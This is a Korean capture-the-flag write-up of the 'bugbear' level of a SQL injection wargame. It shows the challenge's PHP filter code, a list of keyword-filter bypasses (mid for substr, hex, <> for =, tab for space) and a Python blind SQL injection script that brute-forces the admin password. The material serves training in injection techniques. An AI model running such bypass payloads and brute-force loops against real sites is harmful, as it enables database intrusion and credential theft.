Contents #
Problem Description and Analysis #
본 문제는 다음과 같이 제시된다[1]:
1<?php
2 include "./config.php";
3 login_chk();
4 $db = dbconnect();
5 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
6 if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
7 if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
8 $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
9 echo "<hr>query : <strong>{$query}</strong><hr><br>";
10 $result = @mysqli_fetch_array(mysqli_query($db,$query));
11 if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
12
13 $_GET[pw] = addslashes($_GET[pw]);
14 $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
15 $result = @mysqli_fetch_array(mysqli_query($db,$query));
16 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
17 highlight_file(__FILE__);
18?>
제시된 문제를 살펴보면 ', substr, ascii, =, or, and, 공백, like, 0x를 필터링하고 있음을 알 수 있다. 그리고 이를 우회하는 방법은 다음과 같다:
@ ' => "
@ substr => mid
@ ascii, 0x => hex
@ =, like => <, <>
@ 공백 => %09 (tab)
Exploit #
Blind SQLi 절차는 pw field의 길이를 알아내고 bruteforce하는 것이다. 이를 코드로 구현하면 다음과 같다:
1import requests
2
3def get_request_response(arg_url, arg_header):
4 response = requests.get(arg_url, headers=arg_header)
5 return response.text
6
7def build_query_pwlen(arg_url, arg_pwlen):
8 query = f'{arg_url}%09||%09lower(id)<"admio"%09%26%26%09length(pw)<>{arg_pwlen}'
9 return query
10
11def get_pwlen(arg_url, arg_header):
12 password_length = 0
13 while True:
14 query_url = build_query_pwlen(arg_url, password_length)
15 query_result = get_request_response(query_url, arg_header)
16 print(query_url)
17 if "<h2>" not in query_result:
18 break
19 password_length += 1
20 return password_length
21
22def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
23 query = f'{arg_url}%09||%09lower(id)<"admio"%09%26%26%09hex(mid(pw,{arg_loc},1))<>hex({arg_pwchar})'
24 return query
25
26def get_pw(arg_url, arg_header, arg_pwlen):
27 password_lst = []
28 for i in range(1, arg_pwlen + 1):
29 for j in range(0, 1 << 7):
30 query_url = build_query_pwchar(arg_url, i, j)
31 query_result = get_request_response(query_url, arg_header)
32 print(f"query url: {query_url}")
33 # if "<h2>" not in query_result:
34 # print(j, query_result)
35 # password_lst.append(j)
36 # break
37 if "Hello admin" not in query_result:
38 print(j)
39 password_lst.append(j)
40 break
41 if j == 1 << 7:
42 print('Not found')
43 break
44 return password_lst
45
46if __name__ == "__main__":
47 url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=haha&no=-1'
48 header = { 'cookie': 'PHPSESSID=MydeAdBEeF' }
49
50 print('---[ Stage 1: Get password length')
51 password_length = get_pwlen(url, header)
52 print(f"Password length: {password_length}\n")
53
54 print('---[ Stage 2: Bruteforce password')
55 password_lst = get_pw(url, header, password_length)
56 password_string = [chr(x) for x in password_lst]
57 print(f"Password: {password_string}")
References #
- "bugbear," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 14, 2024].